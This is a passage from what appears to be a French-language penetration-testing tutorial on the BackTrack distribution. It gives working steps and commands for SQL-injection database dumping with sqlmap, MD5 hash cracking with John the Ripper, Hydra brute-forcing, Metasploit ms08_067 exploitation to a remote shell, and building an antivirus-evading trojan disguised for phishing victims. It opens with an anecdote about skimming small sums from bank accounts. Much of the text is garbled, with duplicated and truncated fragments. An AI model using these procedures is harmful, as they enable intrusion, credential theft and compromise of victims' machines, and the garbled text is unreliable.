journée le ou les pirates prennent des captures d’écran, numéro de compte des hôtes compromis et photos des employés via les caméras. Comme le ferais la majorité des personnes c'est-à-dire voler directement les clients, ce qui ne se passera pas longtemps inaperçu, les pirates soldes le compte des clients. Je pense que mes amis comptables réclament des explications. Si le client à une somme de 1000cfa, le pirate lui rajoute 50cfa dans son compte. Le client ne saura pas que son compte a été augmenté car il ne figure pas dans ses relevés bancaires. La banque ne pourra pas facilement s’en rendre compte s’il se base simplement sur les logiciels de gestion automatisés. Au finish le pirate vire les 50cfa dans son compte.
Le mode opératoire est aussi important que la maitrise des outils de piratages
disponibles. Savoir adapter est une qualité d’un hacker. Que conseillez-vous d’un
hacker web et réseau qui a pour mission de tester la sécurité d’un drone ? S’il est
comme moi qui n’a jamais être en contact physique avec un drone il peut refuser
l’offre. S’il est courageux il peut aller directement sur le moteur Google et commence
à faire des recherches sur les composants et structures du réseau d’un drone. La
règle d’or d’un hacker est de ne jamais paniqué quelque soit le gradeur de la
mission. Pensez aussi qu’une mission de Pentester doit être toujours sanctionné par
la découverte d’une vulnérabilité c’est méconnaitre l’objectif de cette pratique. On a
beau parlé revenons à nos moutons avant que les loups s’emparent d’eux.
1-web exploitation (injection sql)
� sqlmap :
Si vous avez affaire à une injection SQL utilisé cet outil. Il permet
l’automatisation de l’exploit de la faille SQL.
Syntaxe de base : On peut lancer directement sqlmap en utilisant directement le tableau de bord de Back | Track. Exploitation Tools | Web exploitation Tools | sqlmap Ou bien Ouvrir une console et taper : cd /pentest/database/sqlmap python sqlmap.py [options] les options peuvent être : -h :affichage de l’aide -u : adresse ip ou site web -m : nécessite de spécifier un fichier qui contient des adresses ou ip à tester simultanément. -d : connexion direct au niveau de la base de données -g : utilisation de Google Dork --dbs : ce paramètre permet d’avoir la base de données. C’est une commande essentielle
Exemple :
python sqlmap.py –u http://www.monsitevulnerable.sn/index.php?id=60 --dbs
Si la faille est réelle c'est-à-dire béante sqlmap doit découvrir la ou les bases de données du site concerné.
Comme le montre la rubrique « available databases » on a deux bases de données :information_schema qui s’accompagne l’installation natif de Mysql et geront la base de donnée du site web ciblé.
-D : il signifie database donc en toute logique il prend en paramétre le nom du base de donnée trouvé.Dans notre cas on a geront
Exemple :
python -u http://www.monsitevulnerable.sn/index.php?id=69 –D geront --tables
ou bien :
python –u http://www.monsitevulnerable.sn/index.php?id=69 –D greont –T
--tables ou -T :C’est pour obtenir les tables de la base de donnée ciblée.ici on veut afficher les tables de la base geront.
--columns ou –C : c’est pour afficher les colonnes de la table choisie
python -u http://www.monsitevulnerable.sn/index.php?id=69 –D greont –T compte -C
la colonne mdp contient les comptes d’utilisateurs et mot de passe associé. On va procéder à son extraction en utilisant le paramètre dump.
python -u http://www.monsitevulnerable.sn/index.php?id=69 –D greont –T compte -C mdp --dump
On a les noms d’utilisateurs de la base de données et leur mots de passe crypté en MD5.on va utiliser un craqueur de mot de passe pour décrypter les hashs. Avant de commencer cette manip je vous conseille d’ouvrir un fichier bloc note, Notepad, Vi ,kwrite, leafpad, nano, gedit ou tout autre éditeur de texte et d’y copier les hashs des mots de passe. Mon ami autodidacte ne comprend pas le mot hash. C’est la forme cryptée du mot de passe. Au lieu de stocker en claire les mots de passe dans la base de données nos éminents informaticiens ont crée des algorithmes de cryptage (MD5,SHA1,SHA25,etc.) .Une fois crypté l’information devient illisible. Par exemple :root devient « $S$DF0QbU4yZTVMO6MLYTMoSBAgDeHUx4PrWQYj6PKQ2qRACka. »
Le monde sera mieux si l’histoire se terminer là car nos données seront protégées même en cas de vol du fichier contenant les mots de passe. C’est là qu’intervient
mes amis de l’ombre : les craqueurs. Ils ont crée des logiciels qui sont capables de craquer les hashs via un dictionnaire de mots de passe.
Ces outils se trouvent dans la rubrique :
Privilége escalation | offline Attacks
Comme vous le voyez on a plusieurs d’outils destiné à cracker des mots de passe.
Nous allons utiliser le crackeur de mots de passe john the ripper. Pour réussir notre mission on utilise un dictionnaire de mots de passe livré avec la distribution de Back | Track.il se trouve dans (pentest /passwords/ worldlists/rockyou.txt).Vous pouvez renforcer cette dictionnaire en y ajoutant d’autre mots de passe probable.
Ou ouvrir terminal et taper :
Cd /pentest/password
./john -w=/pentest/passwords/worldlists/rockyou.txt --format=raw-MD5 /root/hash.txt
Explication :
MD5 :l’algorithme de cryptage utilisé
Hash.txt : fichier contenant les mots de passe.
Voici une capture du résultat :
Mission terminé pour l’exploitation d’injection SQL
NB : Pour les débutants vous pouvez de manipuler.
Exemple :
cd /pentest/web/sqlmap
python sqlmap –wizard
ou bien lancer sqlmap via le tableau de bord de Back| Track
Mission terminé pour l’exploitation d’injection SQL
Pour les débutants vous pouvez utiliser l’interface graphique de sqlmap. Il est plus facile
ou bien lancer sqlmap via le tableau de bord de Back| Track
utiliser l’interface graphique de sqlmap. Il est plus facile
On entre l’url à scanner(exple
Saisir le chaine de caractère qui permet d’données(exple :pr=’z’r&nom=smith&piece=7).
Choisissez l’option 3 partout .Sqlma
� Exploitation des services réseauLa première approche que je propose c’est d’abord de relever la version et nature du service concerné et allez faire des recherches dans les sites qui traitent des vulnérabilités et de la sécurité informatique
:http://www.monsite.sn/ident.php ?)
Saisir le chaine de caractère qui permet d’’r&nom=smith&piece=7).
Choisissez l’option 3 partout .Sqlmap fera tout le boulot pour vous.
Exploitation des services réseau : FTP, SSH, TELNET, MYSQLLa première approche que je propose c’est d’abord de relever la version et nature du service concerné et allez faire des recherches dans les sites qui traitent des vulnérabilités et de la sécurité informatique en général. On pe
Saisir le chaine de caractère qui permet d’exploiter les
: FTP, SSH, TELNET, MYSQL La première approche que je propose c’est d’abord de relever la version et nature du service concerné et allez faire des recherches dans les sites qui
en général. On peut
citer db-exploit, securenet, Certa ,0day,et des centaines d’autres. Vous aurez certainement des suggestions de vulnérabilités sur certains services et le code de l’exploit. C’est là qu’intervient l’importance des patchs et des mises à jour de sécurités de certains services. Comme le rappel Stéphane Northcut dans son œuvre intitulé la détection d’intrusion réseauvotre dernier mise à jourprocessus. Les barrières de sécurités d’aujourinopérantes demain. L’administrateur système réseau ou base de données doit être aussi informé que le hacker. Il doit revoir en permanence les règles de sécurités. Ceci doit être couplé par une sensibilisation des utilisateurs dans le choix des mots de passe et son renouvellement en permanence. A quoi sert de fermer une porte si on laisse la clef dans la serrure. Ceci équivaut à choisir des mots de passe facile à deviner.Un jour j’étais partie dans une banque de la place pour renGAB destinée aux misérables étudiants que nous sommes. Pour garder l’anonymat cette banque gère l’argent des étudiants sénégalais. Une chose m’intrigue à chaque fois qu’on demande à un étudiant d’entrer un mot de passe dans l’appareil d’in1111,2222 ou 0000.Je voyais ses chiffres d’autres manières. Je me suis dit que tous personne volant ces cartes peuvent vider le compte client. Pourquoi la banque n’informe pas son clientèle sur le danger d’utpasse initiale ? Pourquoi la banque n’a pas configuré l’appareil d’initialisation pour qu’elle refuse les mots de passe initialel’importance organisationnelle qui renforce l’organisation technique. Allez chercher nos moutons qui sont partis longtemps avant que le loup s’empared’eux. � Piratage FTP : On commence par une prise d’empreinte du serveur pour recenser les ports ouverts. Voici une capture d’écran
exploit, securenet, Certa ,0day,et des centaines d’autres. Vous aurez certainement des suggestions de vulnérabilités sur certains services et le code de l’exploit. C’est là qu’intervient l’importance des patchs et des mises à jour
de certains services. Comme le rappel Stéphane Northcut dans son œuvre intitulé la détection d’intrusion réseau « Vous êtes vulnérable que votre dernier mise à jour ».La sécurité informatique en Général est un processus. Les barrières de sécurités d’aujourd’hui peuvent devenir inopérantes demain. L’administrateur système réseau ou base de données doit être aussi informé que le hacker. Il doit revoir en permanence les règles de sécurités. Ceci doit être couplé par une sensibilisation des utilisateurs dans le choix des mots de passe et son renouvellement en permanence. A quoi sert de fermer une porte si on laisse la clef dans la serrure. Ceci équivaut à choisir des mots de passe facile à deviner. Un jour j’étais partie dans une banque de la place pour renGAB destinée aux misérables étudiants que nous sommes. Pour garder l’anonymat cette banque gère l’argent des étudiants sénégalais. Une chose m’intrigue à chaque fois qu’on demande à un étudiant d’entrer un mot de passe dans l’appareil d’initialisation, ils choisissent à 90% 1234, 1122, 1111,2222 ou 0000.Je voyais ses chiffres d’autres manières. Je me suis dit que tous personne volant ces cartes peuvent vider le compte client. Pourquoi la banque n’informe pas son clientèle sur le danger d’utiliser des mots de
? Pourquoi la banque n’a pas configuré l’appareil d’initialisation pour qu’elle refuse les mots de passe initiale ? C’est tout juste pour montrer l’importance organisationnelle qui renforce l’organisation technique. Allez chercher nos moutons qui sont partis longtemps avant que le loup s’empare
On commence par une prise d’empreinte du serveur pour recenser les ports
Voici une capture d’écran :
exploit, securenet, Certa ,0day,et des centaines d’autres. Vous aurez certainement des suggestions de vulnérabilités sur certains services et le code de l’exploit. C’est là qu’intervient l’importance des patchs et des mises à jour
de certains services. Comme le rappel Stéphane Northcut dans Vous êtes vulnérable que
».La sécurité informatique en Général est un d’hui peuvent devenir
inopérantes demain. L’administrateur système réseau ou base de données doit être aussi informé que le hacker. Il doit revoir en permanence les règles de sécurités. Ceci doit être couplé par une sensibilisation des utilisateurs dans le choix des mots de passe et son renouvellement en permanence. A quoi sert de fermer une porte si on laisse la clef dans la serrure. Ceci équivaut à
Un jour j’étais partie dans une banque de la place pour renouveler ma carte GAB destinée aux misérables étudiants que nous sommes. Pour garder l’anonymat cette banque gère l’argent des étudiants sénégalais. Une chose m’intrigue à chaque fois qu’on demande à un étudiant d’entrer un mot de
itialisation, ils choisissent à 90% 1234, 1122, 1111,2222 ou 0000.Je voyais ses chiffres d’autres manières. Je me suis dit que tous personne volant ces cartes peuvent vider le compte client. Pourquoi
iliser des mots de ? Pourquoi la banque n’a pas configuré l’appareil d’initialisation
? C’est tout juste pour montrer l’importance organisationnelle qui renforce l’organisation technique. Allez chercher nos moutons qui sont partis longtemps avant que le loup s’empare
On commence par une prise d’empreinte du serveur pour recenser les ports
Dans cette partie nous allons utilisés un outil Je conseille qu’avant utiliser cette technique de brute forcing il faut au moins épuiser toutes les moyens de pénétration dans le système parce que cette technique est un peu fatale. Si vous avez de la RAM et un proy à la découverte de cet outil
Hydra est un craqueur de mot de passe en ligne .il est capable de craquer les services suivantes : ftp, ssh, telnet, rlogin, MySQL, pop3, smtp, smb, etc.
Quelques commandes :
Single target : c’est pour exploiter un seul adresse ip
Target list : c’est pour exploiter plusieurs ip à la fois
Username : le nom d’utilisateur à tester
Dans cette partie nous allons utilisés un outil de piratage de mot de passe en ligne. Je conseille qu’avant utiliser cette technique de brute forcing il faut au moins épuiser toutes les moyens de pénétration dans le système parce que cette technique est un peu fatale. Si vous avez de la RAM et un processeur ou un armé de machine allezy à la découverte de cet outil : hydra.
Hydra est un craqueur de mot de passe en ligne .il est capable de craquer les : ftp, ssh, telnet, rlogin, MySQL, pop3, smtp, smb, etc.
: c’est pour exploiter un seul adresse ip
: c’est pour exploiter plusieurs ip à la fois
: le nom d’utilisateur à tester
de piratage de mot de passe en ligne. Je conseille qu’avant utiliser cette technique de brute forcing il faut au moins épuiser toutes les moyens de pénétration dans le système parce que cette technique est
cesseur ou un armé de machine allez-
Hydra est un craqueur de mot de passe en ligne .il est capable de craquer les : ftp, ssh, telnet, rlogin, MySQL, pop3, smtp, smb, etc.
Username list : la liste des utilisateurs à tester
Password : le mot de passe à utiliser
Password list : le dictionnaire des mots de passe à tester.
Port : c’est le numéro de port du service ciblé par exemple SSH utilise le port 22, FTP 21 etc.
Protocol : il représente l’ensemble des protocoles prise en charge par le logiciel.il faut en sélectionner une avant de commencer l’assaut.Notez que cette démarche est aussi valable pour craquer d’autres services (mysql, telnet, rlogin etc.).
Start : Après avoir renseigner toutes les paramètres il faut s’appuyer sur cette button pour débuter l’attaque.
On a découvert un nom d’utilisateur et un mot de passe associé (root=> root1234) donc on a réussi notre mission.
Metasploit est un Framework open source qui permet de tester et d’exploiter les
vulnérabilités des applications web. Il est utilisé par les spécialistes de la sécurité
informatique, les développeurs et hackers comme un outil de test et d’exploit de
vulnérabilités.
1-L’historique de Metasploit Framework
Metasploit est développé par le chercheur en sécurité informatique HD Moore depuis
2003.Il a été développé par le langage Perl (c’est un langage de script développé par
Larry Wall).Pour des raisons diverses, le noyau (c'est-à-dire le cœur du logiciel) est
réécrit en Ruby en 2007.Ruby comme perl est aussi un langage de script très facile à
apprendre.
Depuis 2009 c’est la société Rapid7 spécialisée en sécurité informatique qui assure
le développement du noyau de Metasploit.
Metasploit comprend aujourd’hui plus 1000 exploits, 260 payloads, 460 modules
auxiliaires qui permet d’effectuer toutes genres de test de pénétrations (que ce soit
des sites web, d’application téléphonique ou un parc informatique.
2- Plateforme pour installer Metasploit
Pour installer Metasploit on peut utiliser une des plateformes suivantes :
• Utiliser une machine virtuelle comme (VMware ou Virtual Box)
• Windows (toutes les versions)
• Back | Track ou Kali Lunix
Nb : Metasploit est déjà intégré dans les distributions ( Back|Track et Kali
Lunix).Du reste on va camper notre explication sur la distribution de Back |Track 5
.Donc avant de continuer assurez vous au moins d’avoir installé Back | Track ou
Kali Lunix.
3- Architecture de Metasploit
� Composants de Metasploit
Metasploit peut être décomposé en différents rubriques :
Librairies :
1. Rex : C’est la librairie de base. il gère les protocoles, les sockets et autres.
2. Msf core : C’est l’API basique qui défini Metasploit Framework
3. Msf Base :
4. Module : Les modules
5. Interface :
6. Metasploit comprend plusieurs interfaces : On peut citer
7. 1-MSFConsole : Pour utiliser cette console on lance l’interpréteur de
commande et on saisit
8. Msfconsole(en minuscle)
9. Usage : Saisir dans l’interpréteur de commande msfconsole (en minuscule)
2- msfcli : On peut aussi utiliser Metasploit en saisissant dans l’interpréteur de
commande (msfcli) :
Usage : Saisir dans l’interpréteur de commande msfcli (en minuscule)
3-Armitage : C’est la version graphique de Metasploit. Il est plus facile à manier pour
les débutants.
Il est développé par Raphael Mudge .Il est codé en java.
Usage : ouvrir un terminal et saisi dans la console armitage (en minuscle)
4-Les concepts de bases de Metasploit
Pour se familiariser avec le vocabulaire de Metasploit il est impératif de maitriser les
concepts de bases qui peuvent être classé en deux rubriques :
1-core commande
2- Database commande
Pour commencer on saisi dans l’interpréteur de commande msfconsole -h (en
minuscle et respecter l’espace entre msfconsole et -h) :
1-Core commande (toutes les commandes sont en minuscles)
Vous remarquez qu’il a beaucoup de commande qui affiche à l’écran ou moins si
vous n’êtes pas aveugle. Si vous êtes un peu débrouillard en Anglais c’est déjà bon
car l’explication est surtout en anglais. Mais vais essayer de les décrypté en langue
de Molière pour mes amies qui fuyaient les cours d’anglais en collège. Ceci est dit on
va se lancer en douceur dans l’utilisation des commandes de bases.
1) h : c’est pour afficher l’aide (exemple msfconsole –h) du genre au secours
suis perdu !!!
2) use : pour utiliser un exploit particulier après le lancement de msfconsole
on utilise la commande use plus le nom de l’exploit choisi selon la vulnérabilité
qu’on teste.
Par exemple l’internet explorer installer sous Windows xp présenter une
vulnérabilité qui permettait à un attaquant d’exploiter cette faille. Cet exploit
est nommé ms10_002_aurea.
3) Back : Pour retourner dans la page d’accueil (msf>) de Metasploit on
saisit la commande back
4) Banner : cette commande affiche la bannière de Metasploit
Usage : saisir dans l’interpréteur de commande banner
5) connect : cette commande permet de se connecter à un hôte distant (un hôte
n’est rien d’autre qu’une machine connecté à internet disposant d’une adresse
ip).Pour connaitre votre adresse ip on saisi dans l’interpréteur de commande
ifconfig.
Pour utiliser la commande connect on doit aussi indiquer le numéro port qu’on veut
se connecter.
Usage :
Explication : ici on s’est connecté à l’hôte 192.168.217.131 sur le port 445
On pourrait changer le numéro de port (exemple 443) mais pour que la connexion
puisse s’établir il faut que l’hôte distant écoute sur le port spécifié. Notons donc
qu’on ne peut pas se connecter sur un port que l’hôte distant n’a pas ouvert
6) exit et quit : ces deux commandes permettent de quitter Metasploit.
7) info : cette commande permet d’afficher l’explication de l’exploit sélectionner par
la commande use.
Usage : saisir info après la sélection du module
8) load : cette commande permet de charger un plugin intégré dans Metasploit.
Parmi les plugins on peut citer Nessus et nexpose. Qui sont des scanners de
vulnérabilités (cf. Google).
Usage : load plus nom du plugin
Exemple :load nessus
9) unload : Cette commande permet de décharger le plugin chargé par la commande
load.
Exemple : load nessus => unload nessus
Usage : unload + nom du plugin
11) search : cette commande permet de rechercher un exploit ou un module bien
défini. Par exemple pour chercher l’exploit qui exploite la vulnérabilité inclus dans
certain version d’adobe Reader .on peut saisir dans l’interpréteur de commande :
Exemple : search adobe_util
11)version : Cette commande permet d’afficher la version de Metasploit installé
Usage : saisir après le lancement de msfconsole la commande version
12) show : On utilise cette commande pour visualiser l’ensemble des paramètres du
modules ou de l’exploit sélectionné.
Usage : show + nom de l’exploit
Usage2 : show + options
Cette commande permet d’afficher les paramètres de l’exploit. Parmi les paramètres
qu’on doit renseigner pour bien exécuter l’exploit netapi (vulnérabilité inclus dans
certaine version de Windows) on peut citer :
RHOST : l’adresse ip du machine distant (hôte distant)
RPORT : le port du machine distant (rappelez vous de connect)
Set : on utilise cette commande pour définir les valeurs
Exemple : si n veut tester la vulnérabilité de netapi sur une machine dont l’adresse ip
est de (192.168.217.131) et le port en écoute est de 444 on saisi :
Set RHOST : 192.168.217.131
Set RPORT : 444
Nb : pour lancer l’exploit on saisi la commande execute
Parfois ce n’est pas nécessaire si on est débutant de changer la valeur RPORT par
défaut (ici on a 445).
Unset : c’est l’inverse du commande set .Si dans notre exemple on veut changer
l’adresse ip de l’hôte distant.(RHOST : 192.168.217.131)par
(RHOST :192.168.217.10) on peut écrire :
Usage : unset + paramètre + nouveau valeur (unset RHOST : 192.168.217.10)
DATABASE COMMANDE : Par défaut Metasploit utilise le système de gestion de
base de données Postgresql. Postgresql présente les mêmes fonctionnalités
que MySQL. Les différentes commandes du Database sont listées dans ce
tableau et on expliquera les plus utiles comme on a fait avec les core
commandes.
Le tableau comprend deux parties : les commandes et les explications en anglais.
-Comment se connecter dans la base de données de Metasploit :
1) db_connect : cette commande sert à se connecter à la base de données.
Usage : db_connect+ password+username+@hostname : port /nom database
Vous direz naturellement quelle charabia. Je suis d’accord avec vous car ce n’est
pas du tout explicite à premier vue donc entrons dans les détailles car le
diable se trouve là.
Essayons donc de visualiser le contenu du fichier database.yml .Regarder bien le
contenu car c’est votre talisman anti diable. C e fichier se trouve dans le
répertoire (dossier) config. Pour se rendre dans ce répertoire on saisit dans
la console la commande suivante :
Usage : cd /opt/metasploit/config
Apres cette commande on saisit encore :
Usage : cat database.yml (visualisation du fichier contenant les paramètres de
connexion à la base de données)
Illustration : comme dise les chinois une image vaut 1000 mots
Regardez bien la syntaxe de db_connect et renseigner les différents paramètres. Par
exemple ici on a :
password : 4bfedfc2 , username : msf3 , host : localhost, port : 7337,
database : msf3dev
Syntaxe : db_connect msf3 : 4bfedfc2@localhost:7337/msf3dev
Pour avoir de l’aide sur la commande db_connect on saisi :
2) db_connect -h (rappelez vous de –h)
1) db_status : Permet de savoir est ce que vous êtes connectez ou non à la base
Usage : saisir db_status
3) db_disconnect : Permet de se déconnecter à la base de données
Usage : saisir db_disconnect
4) creds : cette commande montre les mots de passe sous forme de hach des
différents hôtes référencé dans la base.
Usage :
6) db_import : Ceci permet d’exporter le résultat d’un scan vers d’autre logiciel
de scan de vulnérabilités comme nessus ou nexpose.
7) db_import : cette commande permet d’importer sous forme de fichier le
scan de vulnérabilités effectuer par des scanneurs comme nmap.
Exemple : supposons que je veux tester les services et les ports ouverts dans
l’hôte distant ayant une adresse ip(192.168.217.131) et enregistrer ce scan
dans un fichier appelé test
nmap 192.168.217.131 –oX test
Naturellement le fichier test contiendra le résultat du scan donc pour l’importer dans
la base après connexion (db_connect + paramètre) on saisi :
Usage : db_import test
8) hosts : il affiche les machines ou hôte connectés leur système d’exploitation,
adresse mac.
Usage : hosts
10) db_nmap : c’est un scanneur de vulnérabilité très prisé par les spécialistes de la
sécurité et les hackers. (cf chapitre sur nmap).après chargement de nmap par la
commande (load nmap) on peut lancer le scanneur par la commande suivant :
Usage: db_nmap + ip(ou nom de l’hôte)
On remarque l’hôte(192.168.217.131) présente beaucoup de services
(msprc,nettbios-ssn etc..) .
11) services: affiche les différents services de l’hôte distant
Usage : services
12) vulns : affiche l’ensemble des vulnérabilités de l’hôte ou des hôtes cibles
Usage : vulns
5-Exemple d’exploitation de la faille netapi avec Metasploit
L’objectif est d’obtenir un Shell sur la machine distante. Ce qui nous permet de
prendre le contrôle total de la cible.
� BASE DE L’EXPLOITATION
Pour cette partie on va utiliser ms08_067_netapi exploit comme exemple. Ceci est
valable pour n’importe quelle autre faille. Le mode opératoire est le même.
Usage : search + nom exploit
Phase1 : on sélectionne l’exploit de netapi par la commande use
Phase2 : on visualise les options par la commande show + options
Voir illustration
RHOST : adresse ip de l’hôte distant
RPORT : port de l’hôte distant
Phase3 : fixer l’adresse ip qu’on veut tester avec la commande set
set RHOST 192.168.217.131
Pour visualiser les nouvelles valeurs on utilise la commande show + options
Phase4 : utiliser un payload correspond à l’exploit de netapi
Usage : show payloads
Comme vous le voyez on peut utiliser plusieurs payload pour tenter l’exploit mais ici
nous allons usité shell_bind_tcp .
Usage : set payload Windows/shell/bind_tcp
Etape5 : Pour lancer l’exploit on utilise la commande exploit.
Usage : exploit
Comme vous le voyez on a accédé au shell (C:\windows\system32>) de la victime
par conséquent l’exploit à fonctionner. A partir de là vous pouvez se déplacer dans
les dossiers et effectuer toutes les opérations possibles (suppression, renommer,
copier des dossiers ou fichiers).
Exemple : lancer la commande ipconfig
Félicitation vous avez réussi votre mission.
RECAPITULATION SUR LES COMMANDES UTILISEES DANS CE CHAPITRE
1) use exploit/windows/smb/ms08_067_netapi
2) show options
3 ) set RHOST
4) show payloads
5) set payloads/windows/shell/bin_tcp
6) exploit(pour lancer l’exploit)
� ATTACK PAR SOCIALE ENGINEERING ou la manipulation
Selon Kevin D MITNICK dans son livre intitulé l’art de la supercherie « une société
qui achète les meilleurs technologiques de sécurité disponible dans le commerce, qui
forme son personnel à verrouiller tous ses secrets avant de quitter l’entreprise le soir
et qui engage des vigiles auprès de la meilleur entreprise de gardiennage n’en reste
pas moins vulnérable. » .La manipulation est l’art de conduire une personne à faire
quelque chose qu’il ne devait pas faire à l’état normal. Aujourd’hui 90% des attaques
informatique utilisent cette technique. Il est difficile de le détecter car les attaquants
utilisent différent techniques pour pénétrer dans le système d’information.
L’attaquant peut utiliser un vidéo, un son, un site web, un email, un compte
facebook , un logo, un jeu, un fichier etc. Pour plus d’information je vous conseille de
lire l’art de la supercherie de Kevin D MITNICK en intégralité.Aucune société,
entreprise n’est pas à l’abri de la manipulation. Ceci étant dit la distribution Back |
Track n’en reste pas moins à explorer cette moyens de diversion. Il nous fourni des
outils capables de tromper n’importe quel utilisateur en le rendant vulnérable. Il suffit
simplement d’un peu d’ingéniosité pour réussir le coup. Allons faire un tour sur ses
outils.
Exploitations Tools | Social Engineering Tools | Social Engineering
toolkit | set
Ou bien ouvrir un terminal et taper
cd /pentest/exploits/set
./set
Après lancement on doit avoir une fenêtre semblable à ceci :
Pour entrer dans la rubrique 1 il faut saisir son numéro dans la partie set. On va
faire un tour dans la partie Social Engineering Attacks.
Voici une capture d’écran :
rubrique 1 il faut saisir son numéro dans la partie set. On va
faire un tour dans la partie Social Engineering Attacks.
rubrique 1 il faut saisir son numéro dans la partie set. On va
A partir de là on peut choisir la forme d’attaque qui nous semble
Noter que quelque soit la forme choisi, il faut au moins envoyer un fichier à la
victime soit par email, USB ou toutes autres formes. L’objectif est de la poussé à
exécuter le fichier sans soupçon .C’est là qu’intervient l’importance de la maitrise du
Social Engineering.
a)Spear-Phishing Attack Vectors
Dans cette rubrique on a trois vecteurs d’attaque
1) Perform a Mass Email Attack
2) Create a FileFormat Payload
3) Create a Social-Engineering Template
99)Return to Main Menu(menu principale)
A partir de là on peut choisir la forme d’attaque qui nous semble la
quelque soit la forme choisi, il faut au moins envoyer un fichier à la
victime soit par email, USB ou toutes autres formes. L’objectif est de la poussé à
exécuter le fichier sans soupçon .C’est là qu’intervient l’importance de la maitrise du
Phishing Attack Vectors
Dans cette rubrique on a trois vecteurs d’attaque :
Perform a Mass Email Attack
Create a FileFormat Payload
Engineering Template
99)Return to Main Menu(menu principale)
la plus appropriée.
quelque soit la forme choisi, il faut au moins envoyer un fichier à la
victime soit par email, USB ou toutes autres formes. L’objectif est de la poussé à
exécuter le fichier sans soupçon .C’est là qu’intervient l’importance de la maitrise du
L’option 1 présente 20 payloads qui permettent de bien mener notre attaque. Voici
une capture d’écran.
Comme vous pouvez le remarquer on a choisi l’option 15 (Adobe PDf Embedded
exe social Engineering).Le principe de cette attaque est d’envoyer un fichier piégé à
une victime et lui pousser à ouvrir ce fichier afin d’ouvrir inconsciemment un
backdoor dans son machine. C’est comme dans les films parfois les barons de la
drogue envoyé un cadeau contenant une bombe à une victime. Cette dernière
croyant avoir reçu un don du ciel se presse à ouvrir l’emballage mais le reste de
l’histoire vos le savez mieux que moi. Tous les logiciels de sociales Engineering
marchent sur le même principe
vous êtes un utilisateur n’ouvrez
C’est la règle d’or du Net.
On a encore deux options
20 payloads qui permettent de bien mener notre attaque. Voici
Comme vous pouvez le remarquer on a choisi l’option 15 (Adobe PDf Embedded
exe social Engineering).Le principe de cette attaque est d’envoyer un fichier piégé à
victime et lui pousser à ouvrir ce fichier afin d’ouvrir inconsciemment un
backdoor dans son machine. C’est comme dans les films parfois les barons de la
drogue envoyé un cadeau contenant une bombe à une victime. Cette dernière
du ciel se presse à ouvrir l’emballage mais le reste de
l’histoire vos le savez mieux que moi. Tous les logiciels de sociales Engineering
marchent sur le même principe : Tromper l’utilisateur en utilisant la ruse. Donc si
vous êtes un utilisateur n’ouvrez jamais un fichier dont vous ignorez l’expéditeur.
20 payloads qui permettent de bien mener notre attaque. Voici
Comme vous pouvez le remarquer on a choisi l’option 15 (Adobe PDf Embedded
exe social Engineering).Le principe de cette attaque est d’envoyer un fichier piégé à
victime et lui pousser à ouvrir ce fichier afin d’ouvrir inconsciemment un
backdoor dans son machine. C’est comme dans les films parfois les barons de la
drogue envoyé un cadeau contenant une bombe à une victime. Cette dernière
du ciel se presse à ouvrir l’emballage mais le reste de
l’histoire vos le savez mieux que moi. Tous les logiciels de sociales Engineering
: Tromper l’utilisateur en utilisant la ruse. Donc si
jamais un fichier dont vous ignorez l’expéditeur.
1-Use your Owner PDF for attack
2-Use Built-in Blank PDF for attack
L’option 1 implique l’utilisation d’un fichier PDF existant.
L’option 2 n’implique pas l’utilisation d’un fichier existant. C’est le système qui s’en
charge automatique en créant le fichier à votre place et à la fin vous pouvez la
renommer. C’est l’option par défaut.Pour comprendre comment ça marche je vous
conseille de jouer avec le logiciel .C’est la meilleur façon de comprendre son
fonctionnement.
Exemple d’attaque de social Engineering
� Méthodologie
cd /pentest/exploits/set/.set
Ou bien utiliser le tableau de bord de back|Track
1) Choisir la rubrique 4 (Create a Payload and
Use your Owner PDF for attack
in Blank PDF for attack
L’option 1 implique l’utilisation d’un fichier PDF existant.
ique pas l’utilisation d’un fichier existant. C’est le système qui s’en
charge automatique en créant le fichier à votre place et à la fin vous pouvez la
renommer. C’est l’option par défaut.Pour comprendre comment ça marche je vous
le logiciel .C’est la meilleur façon de comprendre son
Exemple d’attaque de social Engineering
cd /pentest/exploits/set/.set
Ou bien utiliser le tableau de bord de back|Track
Choisir la rubrique 4 (Create a Payload and Listener).
ique pas l’utilisation d’un fichier existant. C’est le système qui s’en
charge automatique en créant le fichier à votre place et à la fin vous pouvez la
renommer. C’est l’option par défaut.Pour comprendre comment ça marche je vous
le logiciel .C’est la meilleur façon de comprendre son
2) Entrer l’adresse ip de la victime
3) Choisir payload(option 1)
Entrer l’adresse ip de la victime
Choisir payload(option 1)
4) Encoder votre payload pour échapper à l’antivirus de la victime (option 2)
Encoder votre payload pour échapper à l’antivirus de la victime (option 2)
Encoder votre payload pour échapper à l’antivirus de la victime (option 2)
5) Choisir un port (443 est le port par défaut)
6) Start on listener (option yes).votre fichier
se nomme par défaut msf.exe.L’astuce ici est de la renommé pour que le
destinataire ne soupçonne rien. Vous pouvez l’envoyer par email ou par
un autre moyen. L’objectif est qu’il ouvre le fichier dans une machine
tournant sous Windows. Dans notre exemple si la cible ouvre le fichier il
crée un backdoor (porte d’entré) dans son machine.
troie crée ouvre le port 443 et donne un accès shell (cmd) complet à
l’attaquant »).Il est préférable d’envoyer le fi
de lancer le serveur à l’écoute du port 443 c'est
se passe bien vous obtiendrez un accès distant.
Ainsi s’achève la partie dédiée à la sociale Engineering .Je vous conseille de
maitriser ces outils afin de le modeler et de l’adapter dans ton mission de
Pentester.
Choisir un port (443 est le port par défaut)
Start on listener (option yes).votre fichier piégé est dans le répertoire set.il
se nomme par défaut msf.exe.L’astuce ici est de la renommé pour que le
destinataire ne soupçonne rien. Vous pouvez l’envoyer par email ou par
un autre moyen. L’objectif est qu’il ouvre le fichier dans une machine
nt sous Windows. Dans notre exemple si la cible ouvre le fichier il
crée un backdoor (porte d’entré) dans son machine. (« ici le cheval de
troie crée ouvre le port 443 et donne un accès shell (cmd) complet à
»).Il est préférable d’envoyer le fichier l’exécutable piégé avant
de lancer le serveur à l’écoute du port 443 c'est-à-dire (option yes).Si tous
se passe bien vous obtiendrez un accès distant.
Ainsi s’achève la partie dédiée à la sociale Engineering .Je vous conseille de
s afin de le modeler et de l’adapter dans ton mission de
piégé est dans le répertoire set.il
se nomme par défaut msf.exe.L’astuce ici est de la renommé pour que le
destinataire ne soupçonne rien. Vous pouvez l’envoyer par email ou par
un autre moyen. L’objectif est qu’il ouvre le fichier dans une machine
nt sous Windows. Dans notre exemple si la cible ouvre le fichier il
ici le cheval de
troie crée ouvre le port 443 et donne un accès shell (cmd) complet à
chier l’exécutable piégé avant
dire (option yes).Si tous
Ainsi s’achève la partie dédiée à la sociale Engineering .Je vous conseille de
